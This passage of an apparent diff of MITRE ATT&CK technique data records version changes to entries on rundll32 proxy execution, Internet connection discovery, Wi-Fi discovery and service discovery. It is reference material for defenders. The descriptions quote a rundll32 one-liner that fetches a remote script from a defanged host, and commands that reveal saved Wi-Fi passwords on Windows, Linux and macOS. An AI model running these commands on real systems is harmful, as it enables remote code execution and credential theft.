[Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/011", + "external_id": "T1218.011" + }, + { + "source_name": "rundll32.exe defense evasion", + "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.", + "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/" + }, + { + "source_name": "Attackify Rundll32.exe Obscurity", + "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.", + "url": "https://www.attackify.com/blog/rundll32_execution_order/" + }, + { + "source_name": "This is Security Command Line Confusion", + "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", + "url": "https://www.stormshield.com/news/poweliks-command-line-confusion/" + }, + { + "source_name": "Github NoRunDll", + "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.", + "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll" + }, + { + "source_name": "lolbas project Ieframe.dll", + "description": "lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.", + "url": "https://lolbas-project.github.io/lolbas/Libraries/Ieframe/" + }, + { + "source_name": "lolbas project Zipfldr.dll", + "description": "lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.", + "url": "https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/" + }, + { + "source_name": "Trend Micro CPL", + "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Gareth Phillips, Seek Ltd.", + "Casey Smith", + "Ricardo Dias", + "James_inthe_box, Me", + "Amir Hossein Vafifar" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.567000+00:00\", \"old_value\": \"2025-04-15 19:58:02.470000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\\n\\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"old_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,9 @@\\n \\n Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n \\n-Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n+Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\\n+\\n+Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\\n \\n Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n\\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n-\\n-Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"lolbas project Ieframe.dll\", \"description\": \"lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Libraries/Ieframe/\"}, \"root['external_references'][6]\": {\"source_name\": \"lolbas project Zipfldr.dll\", \"description\": \"lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/\"}, \"root['x_mitre_contributors'][4]\": \"Amir Hossein Vafifar\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse rundll32.exe to proxy execution of malt1Adversaries may abuse rundll32.exe to proxy execution of mal
>icious code. Using rundll32.exe, vice executing directly (i.>icious code. Using rundll32.exe, vice executing directly (i.
>e. [Shared Modules](https://attack.mitre.org/techniques/T112>e. [Shared Modules](https://attack.mitre.org/techniques/T112
>9)), may avoid triggering security tools that may not monito>9)), may avoid triggering security tools that may not monito
>r execution of the rundll32.exe process because of allowlist>r execution of the rundll32.exe process because of allowlist
>s or false positives from normal operations. Rundll32.exe is>s or false positives from normal operations. Rundll32.exe is
> commonly associated with executing DLL payloads (ex: <code>> commonly associated with executing DLL payloads (ex: <code>
>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c>rundll32.exe {DLLname, DLLfunction}</code>).  Rundll32.exe c
>an also be used to execute [Control Panel](https://attack.mi>an also be used to execute [Control Panel](https://attack.mi
>tre.org/techniques/T1218/002) Item files (.cpl) through the >tre.org/techniques/T1218/002) Item files (.cpl) through the 
>undocumented shell32.dll functions <code>Control_RunDLL</cod>undocumented shell32.dll functions <code>Control_RunDLL</cod
>e> and <code>Control_RunDLLAsUser</code>. Double-clicking a >e> and <code>Control_RunDLLAsUser</code>. Double-clicking a 
>.cpl file also causes rundll32.exe to execute.(Citation: Tre>.cpl file also causes rundll32.exe to execute.(Citation: Tre
>nd Micro CPL) For example, [ClickOnce](https://attack.mitre.>nd Micro CPL) For example, [ClickOnce](https://attack.mitre.
>org/techniques/T1127/002) can be proxied through Rundll32.ex>org/techniques/T1127/002) can be proxied through Rundll32.ex
>e.  Rundll32 can also be used to execute scripts such as Jav>e.  Rundll32 can also be used to execute scripts such as Jav
>aScript. This can be done using a syntax similar to this: <c>aScript. This can be done using a syntax similar to this: <c
>ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \">ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \"
>;document.write();GetObject(\"script:https[:]//www[.]example[>;document.write();GetObject(\"script:https[:]//www[.]example[
>.]com/malicious.sct\")\"</code>  This behavior has been seen u>.]com/malicious.sct\")\"</code>  This behavior has been seen u
>sed by malware such as Poweliks. (Citation: This is Security>sed by malware such as Poweliks.(Citation: This is Security 
> Command Line Confusion)  Adversaries may also attempt to ob>Command Line Confusion)  Threat actors may also abuse legiti
>scure malicious code from analysis by abusing the manner in >mate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.d
>which rundll32.exe loads DLL function names. As part of Wind>ll</code>) with <code>rundll32.exe</code> to execute malicio
>ows compatibility support for various character sets, rundll>us programs or scripts indirectly, making their activity app
>32.exe will first check for wide/Unicode then ANSI character>ear more legitimate and evading detection.(Citation: lolbas 
>-supported functions before loading the specified function (>project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)  
>e.g., given the command <code>rundll32.exe ExampleDLL.dll, E>Adversaries may also attempt to obscure malicious code from 
>xampleFunction</code>, rundll32.exe would first attempt to e>analysis by abusing the manner in which rundll32.exe loads D
>xecute <code>ExampleFunctionW</code>, or failing that <code>>LL function names. As part of Windows compatibility support 
>ExampleFunctionA</code>, before loading <code>ExampleFunctio>for various character sets, rundll32.exe will first check fo
>n</code>). Adversaries may therefore obscure malicious code >r wide/Unicode then ANSI character-supported functions befor
>by creating multiple identical exported function names and a>e loading the specified function (e.g., given the command <c
>ppending <code>W</code> and/or <code>A</code> to harmless on>ode>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, run
>es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi>dll32.exe would first attempt to execute <code>ExampleFuncti
>thub NoRunDll) DLL functions can also be exported and execut>onW</code>, or failing that <code>ExampleFunctionA</code>, b
>ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1<>efore loading <code>ExampleFunction</code>). Adversaries may
>/code>).  Additionally, adversaries may use [Masquerading](h> therefore obscure malicious code by creating multiple ident
>ttps://attack.mitre.org/techniques/T1036) techniques (such a>ical exported function names and appending <code>W</code> an
>s changing DLL file names, file extensions, or function name>d/or <code>A</code> to harmless ones.(Citation: Attackify Ru
>s) to further conceal execution of a malicious payload.(Cita>ndll32.exe Obscurity)(Citation: Github NoRunDll) DLL functio
>tion: rundll32.exe defense evasion) >ns can also be exported and executed by an ordinal number (e
 >x: <code>rundll32.exe file.dll,#1</code>).  Additionally, ad
 >versaries may use [Masquerading](https://attack.mitre.org/te
 >chniques/T1036) techniques (such as changing DLL file names,
 > file extensions, or function names) to further conceal exec
 >ution of a malicious payload.(Citation: rundll32.exe defense
 > evasion) 
", + "changelog_mitigations": { + "shared": [ + "M1050: Exploit Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0475: Detection Strategy for T1218.011 Rundll32 Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 15:28:10.689000+00:00", + "modified": "2025-10-24 17:48:26.017000+00:00", + "name": "Internet Connection Discovery", + "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1016/001", + "external_id": "T1016.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Christopher Peacock" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Christopher Peacock\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.017000+00:00\", \"old_value\": \"2025-04-25 14:45:52.631000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\\n\\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\", \"old_value\": \"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\\n\\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\\n+Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\\n \\n Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may check for Internet connectivity on compromist1Adversaries may check for Internet connectivity on compromis
>ed systems. This may be performed during automated discovery>ed systems. This may be performed during automated discovery
> and can be accomplished in numerous ways such as using [Pin> and can be accomplished in numerous ways such as using [Pin
>g](https://attack.mitre.org/software/S0097), <code>tracert</>g](https://attack.mitre.org/software/S0097), <code>tracert</
>code>, and GET requests to websites.  Adversaries may use th>code>, and GET requests to websites, or performing initial s
>e results and responses from these requests to determine if >peed testing to confirm bandwidth.  Adversaries may use the 
>the system is capable of communicating with their C2 servers>results and responses from these requests to determine if th
> before attempting to connect to them. The results may also >e system is capable of communicating with their C2 servers b
>be used to identify routes, redirectors, and proxy servers.>efore attempting to connect to them. The results may also be
 > used to identify routes, redirectors, and proxy servers.
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0357: Behavioral Detection of Internet Connection Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-08 15:39:50.269000+00:00", + "modified": "2025-10-24 17:48:44.123000+00:00", + "name": "Wi-Fi Discovery", + "description": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1016/002", + "external_id": "T1016.002" + }, + { + "source_name": "Binary Defense Emotes Wi-Fi Spreader", + "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", + "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/" + }, + { + "source_name": "Check Point APT35 CharmPower January 2022", + "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.", + "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" + }, + { + "source_name": "Wi-Fi Password of All Connected Networks in Windows/Linux", + "description": "Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.", + "url": "https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/" + }, + { + "source_name": "Malware Bytes New AgentTesla variant steals WiFi credentials", + "description": "Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.", + "url": "https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials" + }, + { + "source_name": "Find Wi-Fi Password on Mac", + "description": "Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.", + "url": "https://mackeeper.com/blog/find-wi-fi-password-on-mac/" + }, + { + "source_name": "BleepingComputer Agent Tesla steal wifi passwords", + "description": "Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Alex Spivakovsky, Pentera", + "Christopher Peacock", + "Liran Ravich, CardinalOps", + "Uriel Kosayev" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.123000+00:00\", \"old_value\": \"2025-04-15 23:21:00.705000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0464: Behavioral Detection of Wi-Fi Discovery Activity" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:21.315000+00:00", + "modified": "2025-10-24 17:48:36.812000+00:00", + "name": "System Service Discovery", + "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1007", + "external_id": "T1007" + }, + { + "source_name": "Aquasec Kinsing 2020", + "description": "Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.", + "url": "https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/" + }, + { + "source_name": "Elastic Security Labs GOSAR 2024", + "description": "Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.", + "url": "https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar" + }, + { + "source_name": "SentinelLabs macOS Malware 2021", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.", + "url": "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + }, + { + "source_name": "Splunk Linux Gormir 2024", + "description": "Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\u2019s TTPs. Retrieved May 22, 2025.", + "url": "https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Harshal Tupsamudre, Qualys" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.812000+00:00\", \"old_value\": \"2025-04-15 23:14:33.837000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may try to gather information about registered local system services. Adversaries may obtain 